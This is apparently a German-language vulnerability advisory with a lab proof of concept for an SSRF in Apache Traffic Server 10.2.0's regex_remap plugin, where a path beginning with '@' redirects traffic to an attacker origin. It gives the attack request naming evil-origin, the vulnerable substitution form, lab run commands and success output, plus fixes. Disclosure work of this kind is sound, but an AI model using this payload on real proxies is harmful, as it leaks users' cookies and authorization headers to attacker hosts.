
Apache Traffic Server 10.2.0 – Hoch – Remote – SSRF – regex_remap noslash $n userinfo Origin-Übernahme
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
Klasse: SSRF Reichweite: Remote
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
Die $n-Substitution von regex_remap wird in einen String konkateniert und an TSUrlParse übergeben, das nach einem url_clear als vollständige URL parst. Eine Capture-Gruppe, die mit @ beginnt, ist RFC-3986-Userinfo, sodass der Operator-Origin zur Userinfo und der Angreifer-Host zum Origin wird. Cookie und Authorization werden als ATS-uid weitergeleitet.
Der Rest ist http://origin:port$1 (ohne Slash). Das dokumentierte http://origin/$1 bleibt auf dem Operator-Origin, da der Slash die Authority beendet. Das Plugin ist standardmäßig nicht geladen.
Dies ist nicht CVE-2026-58179 (url_len VLA, jetzt LocalBuffer) und nicht CVE-2026-22068 (das regex_map im Core ist vollständig verankert).
| ID | noch keine CVE |
| Klasse | SSRF |
| Reichweite | Remote (unauthentifiziertes HTTP) |
| CWE | CWE-918 |
| CVSS | Hoch: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Produkt | Apache Traffic Server |
| Betroffen | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so noslash $n |
| Auth | keine. Plugin geladen. Subst http://origin:port$1. |
| Lizenz | GNU Affero GPL v3.0 |
| Lab | nur 127.0.0.1:18730. Image ats-10.2.0-lab:local. |
Ich habe den Tag 10.2.0 gepinnt, Commit b1df7334b39a878971c376da849e8da4984918b6. Aus dem Quellcode gebautes Image.
Unauth-HTTP an einen vhost, dessen Remap regex_remap.so mit $n direkt nach host:port lädt, ohne Slash.
| Methode | Sink | Privileg |
|---|---|---|
GET /@evil-origin:8080/x mit Subst http://good-origin:8080$1 | TSUrlParse nach url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327) | Integrität / SSRF (im Lab nachgewiesen): ATS wählt evil-origin:8080 als Origin (userinfo=good-origin:8080). Cookie und Authorization werden weitergeleitet. |
| Dasselbe | Body des Angreifer-Origins | Recon (im Lab nachgewiesen): ATS-REGEX-REMAP-USERINFO-WITNESS wird an den Client zurückgegeben. cookie-fwd=True authorization-fwd=True. |
Dokumentierte Subst http://good-origin:8080/$1 | Authority endet bei / | Geschlossen (im Lab nachgewiesen): blieb auf good-origin. |
Subst http://$1 | Operator setzte $n in die Authority | SSRF (im Lab nachgewiesen): erreichte ebenfalls evil-origin. Anderer Operator-Fehler. |
Im Lab nachgewiesen vs. abgeleitet: noslash-Rest, dokumentierter Slash bleibt, dollar-at / dollar-host ebenfalls evil, Cookie und Authorization weitergeleitet, Kontrolle /ok auf good-origin: Lab. Was der Angreifer-Origin mit diesen Headern tun kann, ist das, was dieser Host ohnehin schon ist.
Erfordert: regex_remap-Plugin. Map mit Subst http://origin:port$1 (ohne Slash). remap_required blieb 1 (kein offenes Relay).
| Fläche | Lab |
|---|---|
Dokumentiertes http://origin/$1 | slash=good |
Core regex_map Host | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 geschlossen) |
| url_len-Stack | LocalBuffer (CVE-2026-58179 geschlossen) |
remap_required: 0 offenes Relay | nicht verwendet |
CONTROL GET /ok | good-origin, kein Witness |
regex_remap baut einen dest-String aus $n und ruft TSUrlParse für das Ganze auf. URL.cc @ ist userinfo. Verkettet man http://good-origin:8080 + @evil-origin:8080/x, macht der Parser genau das, was RFC 3986 vorschreibt.
Ich habe zuerst die dokumentierte Form ausprobiert. http://good-origin:8080/$1 mit Pfad /@evil-origin:8080/x wird zu http://good-origin:8080/@evil-origin:8080/x. Der Slash beendet die Authority. Blieb auf good-origin. Das ist nicht der Überrest.
Dann http://good-origin:8080$1 (ohne Slash). Dest http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Zeuge auf dem evil-Origin. Cookie und Authorization kamen mit.
Fehlversuche: die dokumentierte Slash-Form abzulegen; das Kern-regex_map als dieses Plugin zu behandeln; die url_len-VLA aufzublähen (gepatcht); http://$1 als den einzigen Überrest zu behandeln (das ist ein zweiter Operatorfehler, nicht der noslash-Fehler).
Theater: eine Reverse Shell. Das Orakel ist ein Origin-Body plus weitergeleitetes Cookie / Authorization.
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
oder
cd lab
./run.sh
Loopback 127.0.0.1:18730 (bösartiger Ursprung ebenfalls veröffentlicht auf 18731). Compose-Projekt ats-regex-remap-userinfo. Image ats-10.2.0-lab:local. Drei vhosts: slash / noslash / dollar. Zeuge ATS-REGEX-REMAP-USERINFO-WITNESS. Letzte Zeile:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
$n darf nicht in die Authority konkateniert werden. Behalte einen Schrägstrich zwischen Host und Capture bei oder parse die Subst nur als Pfad. Lehne ein Ziel ab, dessen Host nicht der Operator-Ursprung ist. Entferne Userinfo aus von Plugins erzeugten URLs. Die Dokumentation sollte nicht länger implizieren, dass http://origin/$1 die einzige Form ist, die Operatoren schreiben.
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc TSUrlParse nach SubstURL.cc @ UserinfoInkAPI.cc TSUrlParse